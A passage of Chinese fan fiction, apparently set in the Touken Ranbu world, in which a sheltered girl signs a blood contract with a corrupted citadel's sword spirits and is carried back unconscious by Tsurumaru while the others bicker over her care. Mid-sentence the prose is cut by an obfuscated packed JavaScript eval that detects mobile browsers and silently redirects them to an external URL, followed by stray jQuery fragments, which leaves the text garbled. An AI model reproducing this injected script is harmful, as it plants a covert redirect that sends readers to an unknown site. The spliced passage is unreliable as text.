心理学上有个词叫做“拆屋效应”。
当你想要别人同意某个要求时,先故意提出一个极端的,超出对方接受范围的大要求,遭到对方拒绝后,再退一步,提出那个你真正想要他接受的要求,
那么,对方同意你真实要求的可能性便会大大提高。
只可惜,从小长在山里的朝日澪并没有学过心理学。
比起通过“改变灵魂”或者“被神隐”的方式才能离开这座山,鹤丸国永的plan B明显更符合朝日澪的预期。
只是签订一份在本丸担任审神者的契约而已。
不知道如何担任审神者,她可以去学,无论怎么想都比前两种方式要好上太多。
所以当鹤丸国永提出plan B的时候,她只是思考了一两分钟便同意了,完全没有注意到鹤丸国永意味深长的目光。
他们所签订的契约是“血契”,是朝日澪与本丸所有刀剑男士的直接契约。
与时之政府和审神者之间签订的契约不同,一旦签订了这样的契约,朝日澪便与整座本丸紧紧绑在了一起,一荣俱荣,一损俱损,再无卸任或是调职的可能。
这是上次远征后,三日月与整座本丸的刀剑男士商量后得出的结果,试图用这种方式将这位心思纯净且灵力强大的审神者,和他们牢牢绑在一条船上,
既杜绝了审神者被外面的世界吸引,想要抛下本丸的可能性;
又防止了时之政府作妖,卸磨杀驴,用某些更加极端的方式撬走他们的审神者。
“不再考虑一下吗?”鹤丸国永在朝日澪点头后又问了一遍,“其实我觉得被我神隐也挺不错的,会轻松很多哦。”
朝日澪:“那你还有其他方案吗?”
“那倒没有,”鹤丸国永摇了摇头,无奈地摊手表示,“这座山里的结界很难破除,或许只有倾尽我们本丸所有刀剑的力量,才能勉强将你带走。”
“正因为这样的原因,我们才必须将你和我们紧紧绑在一起。”鹤丸的目光直直地盯着她。
身为暗堕本丸的刀剑,他们可没有那种“助人为乐”抑或是“做好事不留名”的高尚情操。
既然她是他们倾尽全力所带出来的,那么她也就合该是他们的,别想着将他们抛下。
这没毛病,不是吗?
朝日澪:“那便不必考虑了。”
想要离开这座山,她早就做好了要付出某些代价的打算,她当然不是没有思考过:会不会有其他人来到山里,他们有其他方式能带自己离开。
但是,且不论她究竟需要等待多久,万一下一次来到这里的……是另一个“真人”呢?
她咬破自己的指尖,将血液滴在契书上,霎时间,一道力量从契书中涌出,一点一点地浸入了她的身体。
不知为何,那股子力量带着些许阴冷沉重的气息,就像是无数细小的针尖在入侵她的五脏六腑。
朝日澪本能地想要抵抗,她咬紧牙关,身体也忍不住微微颤抖,属于自己的气息在排斥这这种力量的入侵。
“放松一点,”鹤丸国永将手放在朝日澪的肩膀处,“在山里面的你从来没有感受过外面的气息,这只是正常的适应过程。”
正常吗?朝日澪不太理解,她只感受到那些外来的气息,在她的体内与自己的身体展开了一场拉锯战,两种力量的拉扯带来了一阵阵尖锐的痛感。
朝日澪身体发软,身子也控制不住往前倾,额头抵上了鹤丸国永的胸口。
鹤丸国永僵了一瞬。
然后,他的手从朝日澪的肩膀上移开,一只手扶住了她的后背,另一只手轻轻托着后脑,干干脆脆地抱住了少女。
“快好了,”他在朝日澪耳边轻声说道,“再坚持一下。”
坚持怕是坚持不了了,外来的这股气息着实霸道,它完完全全占据了朝日澪的身体,她整个人的气息都像是被烙印上了某种标记。
心神失守之际,朝日澪瞬间晕了过去,甚至就连晕过去之后,表情也并不舒坦,双眉微蹙,露出了痛苦的神色。
又过了一段时间,直到少女的表情稍稍和缓,鹤丸国永才确定她适应了这股力量,打开本丸的时空转换装置,将他们一起传送回本丸。
——
S-1003本丸。
契约在生效的那一刻起,本丸的众位刀剑们就感受到了他们身体里流淌着一股不属于他们自身的灵力,恍若涓涓细流,持续地冲洗着他们的身体,温暖且舒服,充斥着一股生机勃勃的生命力。
明明审神者还没有来到本丸,光是契约产生的联系,便让他们恍然有了新生的感觉,就连暗堕产生的疼痛感都好像要被抹去了。
众位刀剑男士惊奇地感受到身体里的这种变化,一开始的他们只是抱着“没什么比现在的情况更糟糕”的态度答应了新任审神者的到来,现在却越发好奇这位由三日月宗近担保,远征部队同时作证的审神者……究竟是个什么样的存在。
见到众位刀剑们各异的神色,三日月宗近但笑起身,对着大广间里的刀们说道:
“走吧,既然契约已经达成,那么鹤丸殿该回来了,让我们一起去外面迎接我们的新任主人。”
话音刚落,某些机动性快的小短刀们已经有了动作,迫不及待地起身,来到本丸的时空转换器前,对新来的审神者翘首以盼。
不一会儿,中庭前已经围了十几二十几个好奇的脑袋。
紧接着,时空转换器前发出了一道金色的光晕,在众位刀剑的望眼欲穿之际,一只白鹤在光芒退散后现出了身形。
甫一现身,鹤丸国永就被众人齐刷刷的目光吓了一跳,不过,此刀着实不怎么要脸,坦然接受了众刀的打量,声音轻快地说道:
“嗨~各位,不过只是一段时间未见而已,原来你们竟然这么想念我吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17624351|203966||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
?”
“就算是鹤,也被你们的热情吓了一跳呢!”
想他?想他个鬼?自从缺少了这只整天里就想着恶作剧的鹤之后,本丸里的刀刀们少掉了三分之二的麻烦,不热烈庆祝一番就不错了,还想他。
乱藤四郎正打算反驳,再瞥见一身白衣的鹤丸怀里抱着的少女时,眼睛一亮:
“这就是我们未来的主人吗?好漂亮的孩子!”他的好感度瞬间飙升。
“可是……她为什么晕着?”向来话不怎么多的骨喰藤四郎一瞬间就看出来问题的关键。
这么一问,其他刀也反应过来了,将怀疑的视线移到了鹤丸国永身上,尤其是压切长谷部,虽一句话没说,但眼刀“嗖嗖嗖”地射了过来……
如果眼神能杀死人的话,鹤丸国永现在大概就已经不在人世了。
鹤丸国永:“……”
“喂喂喂,我冤枉!”鹤丸国永表示这不是他该背的锅,
“你们都什么眼神,这么看着我做什么?”
“我明明什么都没做!”
“契约的力量过于霸道,她……”鹤丸看了一眼怀里的少女,停顿了一下说道,“从未被外面的浊气浸染过,所以一时承受不了我们本丸刀剑的力量。”
原来是这样,众位刀剑们恍然,看来这位审神者的确是位至纯至净的存在,也难怪会有那样纯净的灵力。
“哈哈哈哈哈!”站在前方的三日月宗近笑了笑,“是我失算了,未曾料到契约会对审神者有如此大的影响。”
“既然如此的话,”他慢悠悠地说道,
“还是先让审神者休息吧,等审神者明日里醒了,我们再做拜会。”
三日月宗近的话,众位刀剑们对此没有什么异议,但是……
药研藤四郎扶了扶自己脸上的眼睛,目光犀利:“鹤丸殿,你准备抱着审神者溜去哪里?”
别以为他没看见鹤丸国永往后悄悄挪了几步,若是没注意的话,他就该带着审神者开溜了。
啊,这……
被发现想偷溜的鹤丸国永眨了眨眼,脸不红心不跳:“当然是带审神者去休息了。”
“这就不劳烦鹤丸殿了,”药研藤四郎表示,“审神者的房间我们已经收拾好了。”
“鹤丸殿远征辛苦了,您先回去休息吧,审神者接下来由我们看顾比较好。”
“不辛苦,”鹤丸国永眨了眨眼睛,他觉得自己还能挣扎一下,
“我其实可以和审神者一起休息的。”
“外面的环境她不一定睡得惯知道吧,和我呆在一起她会安心一点。“
鹤丸?安心?
众位刀剑们觉得这两个词无法联系在一起,看着众位刀剑们不赞同的目光,鹤丸国永选择了投降……
倒也不用盯他盯得像防贼一样。
“房间在哪里,我抱着她过去总可以吧。”他妥协着说道。